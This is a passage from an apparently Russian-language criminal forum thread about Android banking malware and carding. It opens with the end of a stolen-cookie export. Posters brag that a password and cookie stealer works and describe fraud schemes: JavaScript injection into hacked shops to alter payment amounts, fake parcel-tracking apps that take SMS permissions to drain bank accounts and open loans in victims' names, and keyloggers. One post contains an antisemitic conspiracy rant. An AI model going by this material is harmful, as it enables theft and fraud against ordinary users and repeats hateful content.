    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "no_restriction"
  }
]

Работает 100%! Пароль точно ловится, куки нужные собираются, приходит всё чётко, проверил только что. По этим кукам можно зайти в почту, в ютуб, гугл пэй, но пароли не посмотришь, потому что попросит подтверждение нажатием цифрой на кнопке. Это тоже спокойно обходится без ацессибилити, и в итоге можно смотреть все сохранённые пароли, только нужно включить мозг. Но это уже совсем другая история..
Как будет не лень, расскажу вам много интересного о работе с блядским андроидом, скорее всего когда вечерком опять бухну, а сейчас мне если честно лень, начинаю писать, приходит 10 новых тем, и так и заканчивается.
 
Последнее редактирование:
только недавно раздували с одним товарищем об элитарности и "закрытости" этого комьюнити
наверно самая блатная и тихая тема в кибер изъятии ден знаков

и наверно присоединюсь к первому посту тса хоть и читал через строчку..
Скрытый контент для пользователей: Слободан Милошевич.
 
Последнее редактирование:
только недавно раздували с одним товарищем об элитарности и "закрытости" этого комьюнити
наверно самая блатная и тихая тема в кибер изъятии ден знаков
сам в свое время по глупости дегрейднулся from apk to exe
и наверно присоединюсь к первому посту тса хоть и читал через строчку..
Скрытое содержимое
Скрытый контент для пользователей: m00r.
 
Слободан Милошевич ты утрируешь сильно, т.к всё что ты описал это агрессивное поведение малвари на андроид. Есть разные ухищрения на тему "как продлить жизнь сервиса" и сделать рабочий ВНЦ с адекватным фпс, а пользователи Андроид как давали аксесабилити - так и будут давать, главное чтоб это всё выглядело легитимно для них. Кстати, говоря о аксесабилити - есть довольно таки интересный способ обхода ограничений для Андроид 13+, хочется конечно это обсудить, но боюсь тюрки придумают скам. Я ещё не тестил, но есть успешный кейс на эмуле, пока что не знаю как будет работать на физических девайсах с различными оболочками
Уважаемый ред драгон, я вас очень сильно уважаю за ваш труд, но тут по моему мнению вы вкорне не правы, как и 95% тех кто работает и лезет в эту тему. нужно не ебаться с тем чтобы софт жил годами и работал внц, нужно грамотно работать на качественном офере так, чтобы тебе хватало 5 минут открытой прилки самой жертвы, и это выходило в живой профит, лично моё мнение, и я в ахуе почему до сих пор никто к этому не дошёл. js инъекции в ориг сайт это будущее братья мои! Зачем пиздить сс через избитые неработающие инжекты, когда жертва САМА может СО СВОЕГО УСТРОЙСТВА, например, в ОРИГ МЕРЧЕ по твоей ссылки сделать оплату со своей карты, И ВСЁ ПОДТВЕРДИТЬ ВРУЧНУЮ, а тебе остаётся лишь через js подменить сумму 1000$ на 1$. Дальше думайте сами... Я год искал людей с взломаными шопами, у кого поток сс, куча наработок в этой стезе, даже если 1 из 10 покупок происходит с андроида, а покупок 1000 в месяц, можно с каждого этого андроида делать инсталл, доставать доступ к ба, узнавать баланс, налить под 0, и даже оформлять на лохов лоаны, но всем проще сливать карты в шопы по 5 баксов, хули...
 
Одно дело на порно сайте обнову гугл хрома пихать, другое, когда лох делает покупку в магазине, а потом у него например случается проблема с доставкой, а чтобы эту проблему решить, нужно установить приложение для отслеживания посылки... А потом оказывается что посылка потерялась, мы вернём вам деньги, только укажите ваш банковский аккаунт... А для того чтобы подтвердить, что это вы покупали, выдайте разрешение на смс и примите код от магазина... Вот вам идеальные наработки! И никаких ацессибилити дропперов хуёпперов и прочего устаревшего говна. Про то что "вся европа на пушах", даже не заикайтесь, я вам дал пищу для размышлений, а для особо придирчивых, вот вам скрин подтверждения из топ1 банка испании:
Screenshot_1.png


Вы ахуеете, но это конфирм на списание! Да да не удивляйтесь! При списании в конфирме у суммы плюс. Скрин старый, но поверьте, ничего особо не меняется. Так зачем вам ацессибилити и прочая х#йня, неужели вы такие тупые что не можете развести лоха самому нажать кнопку где ему пишут пополнение? Неужели заставить лоха установить дроппер, выдать разрешение на установку из неизвестных источников, из под дроппера установить малварь, выдать ему ацессибилити, и чтобы малварь ещё жил до момента пока лох зайдёт в банк, сложнее чем заставить лоха нажать одну ебучую кнопку? Я уверен на 100% что все эти технологии делают евреи! Евреи ебут и в хвост и в гриву всех в этом мире, и даже там где вы себе не представляете. Больше половины каржа держится евреями, пока вы снимаете тысячи, они снимают миллиарды, ибо просто невозможно быть такими тупыми чтобы оставлять такую х#йню! Но сядете потом вы за свои тысячи, а евреи будут иерусалим отстраивать. Но к сожалению в итоге в минусе только лошок европеец...
 
Последнее редактирование:
если иос
Вы должны провести 500 дней на форуме для просмотра контента.
давеча гуглил lazyshop

ребята сами делают клиенту аккаунт разраба и дарят возможность подписывать их софты самому клиенту👌🥹



Я уверен на 100% что все эти технологии делают евреи! Евреи ебут и в хвост и в гриву всех в этом мире, и даже там где вы себе не представляете. Больше половины каржа держится евреями, пока вы снимаете тысячи, они снимают миллиарды, ибо просто невозможно быть такими тупыми чтобы оставлять такую х#йню! Но сядете потом вы за свои тысячи, а евреи будут иерусалим отстраивать. Но к сожалению в итоге в минусе только лошок европеец...
чето дико гогочу

помню ситуация в десятых была газели у метро с еврейским оборудованием которое снимало бабки толи через смс толи через ussd
 
Последнее редактирование:
Одно дело на порно сайте обнову гугл хрома пихать, другое, когда лох делает покупку в магазине, а потом у него например случается проблема с доставкой, а чтобы эту проблему решить, нужно установить приложение для отслеживания посылки... А потом оказывается что посылка потерялась, мы вернём вам деньги, только укажите ваш банковский аккаунт... А для того чтобы подтвердить, что это вы покупали, выдайте разрешение на смс и примите код от магазина... Вот вам идеальные наработки!Lf b crtqljuthjv ytglkj[j
Кейлогер сила. Сносишь прилу, и ждешь его установку)))
 
если иос
Скрытое содержимое
Под иос тоже есть темы, но порог вхождения гораздо выше, как минимум на руках нужен айфон, а не андроид) Тоже самое что и с маком, вся защита это пердёж в лужу, скоро настанет время как и с мак малварью сейчас, просто ещё мало кто допёр...
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх